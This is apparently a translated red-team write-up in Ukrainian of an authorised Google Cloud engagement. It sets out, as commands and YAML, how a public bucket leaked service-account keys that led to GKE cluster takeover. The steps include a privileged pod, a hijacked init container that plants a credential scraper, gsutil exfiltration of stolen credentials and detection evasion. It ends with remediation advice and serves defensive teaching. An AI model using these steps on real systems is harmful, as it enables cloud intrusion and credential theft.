Я ніколи не очікував, що простий неправильно налаштований сховище стане моїм золотим квитком. Як консультант Red Team, що проводить оцінки безпеки GCP, я бачив безліч вразливостей, але цей випадок виявився особливо цікавим. Озброєний лише базовими інструментами розвідки та явним дозволом від клієнта, я зміг переміститись із публічного сховища в їхню продукційну Kubernetes середовище всього за кілька годин. Ось як це сталося.
огляд мого підходу до червоної команди та робочого процесу для цієї участі в Google Cloud (GCP)
1. Збір початкового контексту та дозволів
Перш ніж почати будь-яку технічну роботу, я отримав явний письмовий дозвіл від виконавчої команди клієнта, де були визначені системи та дані, які я мав право атакувати. Потім я ознайомився з Statement of Work (SOW), який спеціально дозволяв проведення розвідки та спроб експлуатації в межах їхньої організації Google Cloud Platform (GCP).
- Підтвердження Org ID та Project ID: Клієнт надав мені Organization ID (числове значення на зразок
123456789012
) і список основних Project ID. Це було важливо для перерахунку ресурсів і перевірки, чи залишаюсь я в межах визначеного масштабу. - Аутентифікація за допомогою сервісного акаунту консультанта: Клієнт також надав мені облікові дані для сервісного акаунту GCP (з обмеженими правами доступу для тільки читання), щоб здійснити базове сканування. Я активував його локально за допомогою:
gcloud auth activate-service-account [email protected] \
--key-file=/path/to/consultant-svc.json
Після того, як ці підготовчі етапи були завершені, я розпочав розвідку.
2. Перерахунок політик та ролей організації
2.1 Знаходження успадкованих політик
Мета: Зрозуміти обмеження на рівні організації та будь-які успадковані ролі, що можуть впливати на безпеку.
Список всіх організацій: Хоча я мав Organization ID від клієнта, я спочатку перевірив його, виконавши:
gcloud organizations list
- Ця команда повернула таблицю організацій, до яких я мав доступ, підтвердивши ID
123456789012
. - Дослідження політик Resource Manager: Щоб побачити, які обмеження були встановлені на рівні організації (наприклад, обмеження на зовнішній доступ, доменні обмеження або публічно доступні ресурси), я використав:
gcloud resource-manager org-policies list --organization=123456789012
- Це перерахувало всі обмеження (як-от
constraints/iam.disableServiceAccountKeyCreation
), які були застосовані на рівні організації. - Опис конкретних політик: Для кожної політики я виконав:
gcloud resource-manager org-policies describe \ constraints/iam.disableServiceAccountKeyCreation \ --organization=123456789012
Це дозволило мені побачити, чи було примусово застосовано або успадковано цю політику (тобто, чи було enforced: true
або enforced: false
). У цьому конкретному випадку клієнта я помітив, що деякі ключові обмеження безпеки були вимкнені, як-от iam.disableServiceAccountKeyCreation
, що натякало на те, що ключі сервісних акаунтів можуть широко використовуватися в їхньому середовищі.
2.2 Перерахунок IAM прив'язок на рівні організації
Мета: Визначити, хто (або які сервісні акаунти) має ролі на рівні організації або папки.
Список політик IAM організації:
gcloud organizations get-iam-policy 123456789012 --format=json > org_iam_policy.json
Я перевірив результатуючий файл org_iam_policy.json
, шукаючи посилання на:
roles/owner
roles/editor
roles/browser
- Користувацькі ролі (наприклад,
organizations/123456789012/roles/customSecurityRole
)
Це дало мені інформацію про те, які сервісні акаунти (або Google-групи чи зовнішні домени) мають привілеї, які можуть передаватись дочірнім папкам і проектам.
2.3 Перерахунок папок і проектів
Папки: Клієнт організував своє середовище у папки, такі як Engineering
, Operations
, Production
тощо.
Я виявив це за допомогою:
gcloud resource-manager folders list --organization=123456789012
Проекти: Для кожної папки я перерахував проекти:
gcloud projects list --filter="parent.id=" --format=json > folder_projects.json
Я повторив це для кожної папки. Цей метод дав мені всебічну картину того, як організоване середовище клієнта.
Ключове спостереження: Декілька старих папок все ще мали роль roles/editor
, встановлену на рівні папки для загального сервісного акаунту “ops”, що означало, що кожен проект під цією папкою успадковував привілеї editor
для цього акаунту.
3. Підготовка спеціалізованого середовища для атаки в GCP
Я завжди створюю контрольоване середовище для симуляції інфраструктури реального загрозливого актора:
Створення проекту Red Team: В межах моєї організації (середовище, яке належить Mandiant/Google Cloud), я використав:
gcloud projects create redteam-project-999 --name="RedTeam Staging"
Налаштування хосту для доступу: Я запустив один інстанс n1-standard-1
у регіоні us-central1
:
gcloud compute instances create red
--machine-type=n1-standard-1 \
--image-family=debian-11 \
--image-project=debian-cloud \
--no-address
Цей інстанс був налаштований без зовнішньої IP-адреси. Замість цього я використав Identity-Aware Proxy (IAP) tunneling для підключення через SSH, строго контролюючи вхідний трафік. Цей підхід допоміг мені зберегти журнали та отримати доступ до системи більш непомітно.
Встановлення інструментів: На хості я встановив:
- Python 3 з відповідними бібліотеками (як-от
requests
,google-auth
). - BloodHound для GCP (внутрішній інструмент Mandiant для візуалізації відносин IAM у GCP).
- kubectl з плагіном GKE для взаємодії з контейнерними кластерами.
- gsutil, gcloud (очевидно, для взаємодії з GCP).
- Nmap, masscan для потенційного сканування мережі (хоча сильно обмежене).
- Metasploit або власні скрипти для потенційних спроб експлуатації.
Я використовував Terraform для керування інфраструктурою мого проекту Red Team, щоб я міг знищити її за потребою, залишаючи мінімальні сліди.
4. Початковий вектор атаки: Неправильно налаштоване хмарне сховище
4.1 Пошук публічних бакетів
Перераховуючи кожен виявлений проект, я систематично виконував:
gsutil ls -p
Це дало мені список бакетів у цьому проекті. Потім я перевірив ACL кожного бакету, щоб побачити, чи доступний він публічно. Наприклад:
gsutil acl get gs://
або
gsutil ls -r gs:///*
Я виявив кілька бакетів, позначених шаблонами на кшталт acme-ops-logs
, acme-prod-backups
, і один, який був особливо цікавий: acme-ops-artifacts
.
- Виявлення ACL: Перевіривши
acme-ops-artifacts
, я знайшов дозвіл на читання, встановлений дляAllUsers
абоAllAuthenticatedUsers
. Це було неправильно налаштовано, але дало мені ту основу, яку я шукав.
4.2 Витягування облікових даних сервісного акаунту
Усередині acme-ops-artifacts
я натрапив на файли .json
, що відповідали шаблонам на кшталт service-account-key.json
, svc-deploy.json
тощо. Я протестував пряме завантаження:
gsutil cp gs://acme-ops-artifacts/svc-deploy.json .
Файл успішно завантажився, що вказувало на те, що він не був заблокований. Відкривши svc-deploy.json
, я побачив типові дані для ключа сервісного акаунту GCP:
{
"type": "service_account",
"project_id": "...",
"private_key_id": "...",
"private_key": "-----BEGIN PRIVATE KEY-----\nMIIEv..."
...
4.3 Перевірка та активація вкрадених ключів
Я негайно перевірив цей ключ:
gcloud auth activate-service-account [email protected] \
--key-file=./svc-deploy.json
Щоб перевірити привілеї:
gcloud projects list
Я швидко дізнався, що цей сервісний акаунт мав роль editor на кількох виробничих проектах. Це було справжнє золото для Red Team, оскільки це ефективно дозволяло мені створювати, змінювати та видаляти ресурси в цих проектах — включаючи GKE кластери, Cloud Functions та інше.
5.
Перехід до Google Kubernetes Engine (GKE)
5.1 Пошук активних кластерів
Отримавши нові облікові дані сервісного акаунту, я перерахував GKE кластери:
for proj in $(gcloud projects list --format="value(projectId)"); do
echo "Checking $proj ..."
gcloud container clusters list --project $proj --format=json >> all_clusters.json
done
З цього агрегованого списку я помітив кластер з назвою prod-gke-cluster-01
у проекті acme-production
.
5.2 Аутентифікація в кластері
Я отримав облікові дані для кластера:
gcloud container clusters get-credentials prod-gke-cluster-01 \
--zone us-central1-a --project acme-production
Це оновило мій файл ~/.kube/config
, додавши контекст з назвою gke_acme-production_us-central1-a_prod-gke-cluster-01
. Роль editor на рівні проекту фактично дала мені привілеїї cluster-admin в GKE, оскільки клієнт не обмежив GKE RBAC.
5.3 Розгортання шкідливого поду
Я перерахував робочі навантаження:
kubectl get pods --all-namespaces
Я помітив простір імен internal-services
, який містив мікросервіс, що ймовірно відповідав за управління обліковими даними. Я вирішив розгорнути свій власний "sidecar" або шкідливий под у тому ж просторі імен:
apiVersion: v1
kind: Pod
metadata:
name: redteam-pod
namespace: internal-services
spec:
serviceAccountName: internal-serviceaccount
containers:
- name: shell
image: alpine:latest
command: ["/bin/sh"]
args: ["-c", "while true; do sleep 3600; done"]
securityContext:
privileged: true
Я застосував його:
kubectl apply -f redteam-pod.yaml
Після того, як под запустився, я виконав в ньому команду:
kubectl exec -it redteam-pod --namespace=internal-services -- /bin/sh
У цьому середовищі я побачив змінні середовища, які містили секрети для внутрішніх API, і також виявив файлову систему вузла (оскільки privileged: true
дозволяло змонтувати підлягаючий вузол).
6. Персистентність і збори облікових даних
6.1 Використання ініціалізаційного контейнера
Я помітив деплоймент з назвою internal-credentials-manager
. Описавши його:
kubectl describe deployment internal-credentials-manager --namespace=internal-services
Я побачив, що він використовує спільний том з ініціалізаційним контейнером. Я замінив специфікацію ініціалізаційного контейнера на свій шкідливий контейнер, який:
- Копіював бінарник для збору облікових даних в спільний том.
- Тихо ексфільтрував дані в мій бакет Red Team щоразу, коли головний контейнер стартував.
Я оновив YAML:
initContainers:
- name: init-redteam
image: us.gcr.io/redteam-project-999/redteam-init:latest
command: ["/bin/sh"]
args:
- "-c"
- |
cp /tmp/cred-scraper /shared/cred-scraper
echo "Init container injection complete."
Тепер, кожного разу коли под перезавантажувався, головний контейнер виконував cred-scraper
, який збирав змінні середовища, облікові дані на диску та навіть тимчасові токени.
6.2 Автоматизоване ексфільтрування
Бінарник cred-scraper
був налаштований на стиснення та шифрування даних, а потім їх завантаження в мій тестовий середовище:
gsutil cp /tmp/stolen-credentials.tar.gpg gs://redteam-project-999-io/stolen/
Я налаштував його так, щоб він працював тільки в пам'яті, залишаючи мінімальні сліди на файловій системі контейнера. Оскільки правила логування для контейнерних навантажень клієнта були недостатніми, мій трафік ексфільтрації рідко перевірявся.
7. Уникнення виявлення та тактики приховання
7.1 Заміна моєї інфраструктури
Кожні кілька годин я знищував та відновлював свій хост для доступу, використовуючи Terraform:
terraform destroy -auto-approve
terraform apply -auto-approve
Це змінювало IP-адреси та тимчасові ідентифікатори інстансів VM, ускладнюючи кореляцію за IP-адресами.
Я також використовував:
gcloud logging read \
"resource.type=gce_instance AND textPayload:('redteam-bastion')" \
--limit=50
щоб стежити за будь-якими підказками, що захисники мене розслідують.
7.2 Маскування команд
Кожного разу, коли це було можливо, я маскував свою активність шляхом:
- Використання стандартних системних утиліт (наприклад,
curl
,cp
,kubectl logs
), а не явно шкідливих бінарних файлів. - Спуфінг стрічок User-Agent для HTTPS запитів, зазвичай імітуючи
Google-Cloud-SDK/xxx
. - Уникнення великих сканувань або важкого трафіку. Натомість, я тихо перемикався з відомих точок спостереження.
8. Останні спостереження та рекомендації
Після повного компрометації їхнього середовища я складав детальний звіт і провів живу демонстрацію для керівників безпеки клієнта. Основні висновки, які я зробив:
- Прогалини в безпеці на рівні організації: Невиконання критичних організаційних політик (наприклад, заборона на створення ключів сервісних акаунтів).
- Невірно налаштовані Cloud Storage бакети: Публічно доступні бакети, що містять ключі сервісних акаунтів, стали безпосередньою причиною компрометації.
- Зайві дозволи: Надання
roles/editor
на рівні папки або проекту для сервісних акаунтів, що використовуються критичними робочими навантаженнями. - Слабкий GKE RBAC та привілеїї: Залежність від IAM на рівні проекту для GKE, що фактично надавало мені права cluster-admin. В поєднанні з
privileged: true
у робочих навантаженнях виробництва, це була серйозна помилка. - Недостатнє ведення журналів і моніторинг: Мінімальна виявленість підозрілої поведінки контейнерів, змін у подах чи створення тимчасових VM з невідомих IP-адрес.
8.1 Кроки для виправлення
Впровадження обмежень на рівні організації
- Виконати
constraints/iam.disableServiceAccountKeyCreation
. - Обмежити публічний доступ до Cloud Storage за замовчуванням.
Обертання та захист ключів
- Негайно відкликати та обертати всі ключі сервісних акаунтів, знайдені в публічних бакетах.
- Перейти на Workload Identity Federation або епімерні облікові дані для усунення довготривалих ключів.
Посилення безпеки GKE
- Використовувати більш детальний Kubernetes RBAC з ролевими обмеженнями, що гарантують відсутність еквіваленту "editor" за замовчуванням.
- Вимкнути
privileged: true
для подів, якщо це не є абсолютно необхідним.
Покращення ведення журналів і сповіщень
- Перенаправляти журнали аудиту GKE та Cloud Audit Logs в SIEM або спеціалізований безпековий проєкт.
- Налаштувати кастомні сповіщення для підозрілих дій
kubectl
, несподіваних нових сервісних акаунтів або аномальних патернів доступу до бакетів.
tl;dr
Використовуючи одну лише невірно налаштовану конфігурацію Cloud Storage — у поєднанні з широкими, успадкованими IAM ролями — я отримав майже повний контроль над GCP середовищем клієнта. Мої детальні висновки та рекомендовані виправлення допоможуть їм усунути ці критичні проблеми та посилити загальний рівень безпеки в подальшому.
Перекладено з: anatomy of a cloud breach